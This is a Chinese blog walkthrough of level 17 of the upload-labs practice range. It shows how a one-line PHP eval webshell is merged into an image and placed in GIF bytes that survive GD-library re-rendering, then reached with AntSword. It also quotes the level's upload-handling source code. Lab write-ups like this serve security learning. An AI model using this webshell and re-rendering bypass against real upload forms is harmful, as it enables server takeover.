博客 / 詳情

返回

upload-labs靶場-第十七關詳解

upload-labs第十七關是一個涉及二次渲染的關卡。
首先打開本關後查看提示:

看到提示告訴我們本關重新渲染了圖片,説明僅是上傳普通的圖片馬可能會失效。所以我們先上傳一張圖片馬,看看會發生什麼。
我們先準備一張圖片文件(後綴為gif | png | jpg)都行,然後再準備一個php文件,在裏面寫入一句話木馬:

<?php @eval($_POST['code']);?>

準備好之後,我們打開命令行,在存儲圖片文件和php文件的目錄下使用命令:

看到圖片上的樣子説明圖片馬已經創建好了,這個命令的格式是:
copy 合法圖片文件.gif/b + PHP木馬文件.php/a 最終生成的圖片馬.gif ,其中參數 /b代表以二進制字節流的方式處理 / 合併文件,按文件原始字節內容原樣拼接,不做任何修改、不添加任何額外字符(如換行、空格、轉義符),這樣就可以保證copy命令不會以默認的文本模式合併,從而使得圖像能夠解析。再來説參數 /a代表ASCII(文本模式),確保php文件當作純文本文件處理,自動忽略文件末尾的 Ctrl+Z(Windows 文本文件的結束標記),避免在合併時引入多餘的結束符,防止破壞圖片結構。
我們可以使用蟻劍來驗證是否成功寫入木馬。來到之前的第14關,上傳圖片馬,利用文件包含來測試。

從圖片中看到蟻劍連接成功,説明木馬被成功寫入。
完成這一些準備工作後我們正式在本關上傳圖片馬,(注意:上傳前要開啓php擴展中的GD庫,否則無法解析和二次渲染圖片)

上傳成功後我們同樣使用蟻劍測試是否還可以連接成功:

發現竟然連接不上了,説明文件中的木馬可能在重新渲染時被省略掉了。因此我們打開源碼進行審計:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
    // 獲得上傳文件的基本信息,文件名,類型,大小,臨時文件路徑
    $filename = $_FILES['upload_file']['name'];
    $filetype = $_FILES['upload_file']['type'];
    $tmpname = $_FILES['upload_file']['tmp_name'];

    $target_path=UPLOAD_PATH.'/'.basename($filename);

    // 獲得上傳文件的擴展名
    $fileext= substr(strrchr($filename,"."),1);

    //判斷文件後綴與類型,合法才進行上傳操作
    if(($fileext == "jpg") && ($filetype=="image/jpeg")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上傳的圖片生成新的圖片
            $im = imagecreatefromjpeg($target_path);

            if($im == false){
                $msg = "該文件不是jpg格式的圖片!";
                @unlink($target_path);
            }else{
                //給新圖片指定文件名
                srand(time());
                $newfilename = strval(rand()).".jpg";
                //顯示二次渲染後的圖片(使用用户上傳圖片生成的新圖片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagejpeg($im,$img_path);
                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上傳出錯!";
        }

    }else if(($fileext == "png") && ($filetype=="image/png")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上傳的圖片生成新的圖片
            $im = imagecreatefrompng($target_path);

            if($im == false){
                $msg = "該文件不是png格式的圖片!";
                @unlink($target_path);
            }else{
                 //給新圖片指定文件名
                srand(time());
                $newfilename = strval(rand()).".png";
                //顯示二次渲染後的圖片(使用用户上傳圖片生成的新圖片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagepng($im,$img_path);

                @unlink($target_path);
                $is_upload = true;               
            }
        } else {
            $msg = "上傳出錯!";
        }

    }else if(($fileext == "gif") && ($filetype=="image/gif")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上傳的圖片生成新的圖片
            $im = imagecreatefromgif($target_path);
            if($im == false){
                $msg = "該文件不是gif格式的圖片!";
                @unlink($target_path);
            }else{
                //給新圖片指定文件名
                srand(time());
                $newfilename = strval(rand()).".gif";
                //顯示二次渲染後的圖片(使用用户上傳圖片生成的新圖片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagegif($im,$img_path);

                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上傳出錯!";
        }
    }else{
        $msg = "只允許上傳後綴為.jpg|.png|.gif的圖片文件!";
    }
}

通關審計代碼,我們發現代碼一共有兩層防護:
1.第一層防護:檢查文件的後綴名,僅允許上傳後綴為gif,png,jpg格式的文件,並且MIME 類型要匹配對應圖片類型(image/jpeg/png/gif),才能進入下一步;
2.第二層防護:對後綴名通過的圖片文件使用PHP 的 GD 庫函數imagecreatefromjpeg()嘗試從指定文件創建 JPG 圖片資源—— 如果文件不是合法的 JPG 圖片(比如只是改了後綴的 PHP 文件),這個函數會返回false,直接判定為非法文件並刪除,再使用imagejpeg()函數基於上面創建的圖片資源,重新生成一張全新的 JPG 圖片(這就是 “二次渲染”),最後刪除原始上傳的文件,只保留重新生成的圖片文件。對於其他類型的圖片文件也是一樣的處理邏輯。

因此要如何繞過二次渲染的機制呢?

核心繞過思路:要想繞過二次渲染的機制,就需要了解二次渲染的工作原理:
GD 庫的二次渲染過程是:原始圖片文件 → GD庫解析為圖片像素數據 → 重新生成新的圖片文件
這個過程中,GD 庫只保留 “圖片像素相關的核心數據”,會丟棄圖片文件中的 “非核心數據”(如圖片的註釋、冗餘字節、自定義插入的代碼);
但不同圖片格式(jpg/png/gif)的渲染邏輯不同,部分格式會保留一些 “可寫入區域”,我們可以把 PHP 木馬插入到這些區域,讓 GD 庫二次渲染後仍保留代碼。

不同圖片格式的渲染特性:
(1)JPG 格式:最難繞過

  • JPG 是有損壓縮格式,GD 庫渲染時會重新編碼圖片數據,幾乎所有非像素數據都會被清除
  • 即使在原始 JPG 中插入 PHP 代碼,二次渲染後的新 JPG 文件中,代碼會被完全刪除,因此 JPG 幾乎無法繞過。
(2)PNG 格式:較易繞過
  • PNG 是無損壓縮格式,GD 庫渲染時會保留圖片的 “IHDR(頭部)、IDAT(數據塊)、IEND(尾部)” 等結構,但會優化冗餘數據;
  • PNG 的IEND(文件結束塊)之後的區域,GD 庫渲染時不會修改—— 我們可以把 PHP 代碼插入到 IEND 之後,二次渲染後代碼仍保留。
(3)GIF 格式:最容易繞過
  • GIF 格式結構簡單,由 “文件頭、多個圖像塊、結束塊” 組成;
  • GD 庫渲染 GIF 時,只會處理圖像的像素數據,對 GIF 的註釋塊(Comment Extension)或非關鍵數據塊中的內容不做修改—— 把 PHP 代碼插入到 GIF 的註釋塊中,二次渲染後代碼仍會保留。

瞭解到這些後我們仍然使用 gif 的圖片格式嘗試繞過(因為最容易繞過),但前提條件時我們的找到 gif文件的註釋塊在哪,其實這裏我們可以理解為圖片中那些重新渲染時不變的區域(非核心數據的區域)。那我們該如何找到那些區域並插入木馬呢,那就需要用到二進制編輯器來修改圖片的16進制數據(這裏我使用的時 Imhex 這款軟件)

如上圖,我們先在Imhex中打開沒上傳前的圖片馬和上傳後的圖片馬,然後在 視圖 中找到 差異 選項來查看兩幅圖的差異在哪裏:

如上圖所示兩個圖片文件中有黃色高亮的部分是這兩個文件存在差異的部分,因此我們就要在沒有高亮的部分(即非核心數據區域)插入木馬。

就像上圖那樣,在非核心數據區域插入木馬。然後再保存修改後的圖片文件,重命名為picma3.gif後我們再到靶場測試一下,看看能不能被蟻劍連接上

可以看到成功連接上

至此,本關通過!

user avatar
0 位用戶收藏了這個故事!

發佈 評論

Some HTML is okay.